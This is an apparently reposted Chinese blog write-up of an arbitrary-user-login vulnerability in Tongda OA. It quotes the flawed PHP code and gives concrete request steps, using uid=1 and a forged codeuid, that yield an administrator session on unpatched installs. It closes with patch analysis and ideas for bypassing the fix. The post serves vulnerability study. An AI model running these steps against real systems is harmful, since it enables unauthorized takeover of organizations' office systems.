通達OA前台任意用戶登錄分析


最近爆了個通達 OA 任意用戶登錄漏洞,正好分析分析,順便師傅一起學習。

漏洞分析

第一處

首先我們找到文件根目錄的文件 logincheck_code.php,這個文件是沒有權限驗證的。

我們會發現在 180 行附近有兩行代碼:

$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
...
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;

驗證登錄時就是判斷的這兩個 SESSION

往上翻翻 $UID 哪來的:

可以發現是直接從 $_POST 中獲取的,也就是任意控制即可。

但是 15 行附近有個判斷,如果緩存里沒有 CODE_LOGIN.$CODEUID$CODEUID 也是可以任意控制的) 就退出程序了,我們可以全局搜索一下這個緩存在哪里設置了。

很快找到一處: ispirit\login_code.php

<?php

include_once "inc/utility_all.php";
include_once "inc/utility_cache.php";
include_once "inc/phpqrcode.php";
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);

if (empty($login_codeuid)) {
    // 給 codeuid 設置個隨機值
    $login_codeuid = getUniqid();
}

$databack = array("codeuid" => $login_codeuid, "source" => "pc", "codetime" => time());
$dataStr = td_authcode(json_encode($databack), "ENCODE");
$dataStr = "LOGIN_CODE" . $dataStr;
$databacks = array("codeuid" => $login_codeuid, "authcode" => $dataStr);

//將 codeuid 存入緩存
TD::set_cache("CODE_LOGIN_PC" . $login_codeuid, $login_codeuid, 120);

//輸出 codeuid
echo json_encode(td_iconv($databacks, MYOA_CHARSET, "utf-8"));
echo "\r\n\r\n\r\n";

?>

這里給重要的三句話寫了注釋。我們只要直接訪問一次這個文件就可以偽造了。

復現測試

首先訪問一次 /ispirit/login_code.php

存下這個 codeuid。然后訪問 /logincheck_code.php

UID 設置成 1,這個 ID 默認是管理員。然后 CODEUID 設置成: _PC+codeuid

隨便訪問個需要驗證的 url/pda/main.php

第二處任意登錄

一樣的思路,我們全局搜索會找到在文件 \ispirit\login_code_check.php 處有類似的代碼:

我們往上翻:

會發現 $UID 來自 $code_info$code_info 又來自緩存 CODE_INFO_PC+$login_codeuid

這里的 $code_info[type] 需要等於 confirm.

再上面一點有這樣的代碼:

//$codeuid 可控
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);

這里和之前一樣得。

然后我找找哪里有設置 CODE_INFO_PC 的代碼,在文件 general\login_code_scan.php

可以發現這里的 codeuid 和 type 都是可控的。現在就可以利用了。

漏洞復現

  1. 首先訪問 /ispirit/login_code.php 獲取 codeuid
  2. 訪問 /general/login_code_scan.php 提交 post 參數:

source=pc&type=confirm&codeuid={5D9B864F-07AD-519C-13D1-E573E226302A}&uid=1&

  1. 最后訪問 /ispirit/login_code_check.php?codeuid=xxx

這樣 $_SESSION 里就有了登錄的信息了。

補丁分析

第一處修復 logincheck_code.php

這里從 redis 中獲取了數據,判斷了 $UID 不等於 0 的話才能下一步,相當於做了個權限驗證吧。

如果我們能找到一處設置 OA:authcode:token:XXX 的地方,或者找到一處可以控制鍵值的緩存,即可繞過。

第二處修復 \general\login_code_scan.php

在設置 CODE_INFO_PC前進行了權限驗證,這里根據傳入的 session 查詢此 session 是否登陸過,如果沒登陸過就退出程序

思考及總結

這個漏洞其實挺簡單的,但是到現在才發現,看來挖掘這樣的洞更需要一些耐心和細心。由於這個程序用了全局覆蓋,我們可以直接覆蓋 _SESSION 里的數據,但是 _SESSION 是存在 redis 中的。所以如果有一處先開啟 session_start 然后引入了 session.php 文件,即可直接覆蓋 _SESSION 里的數據。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM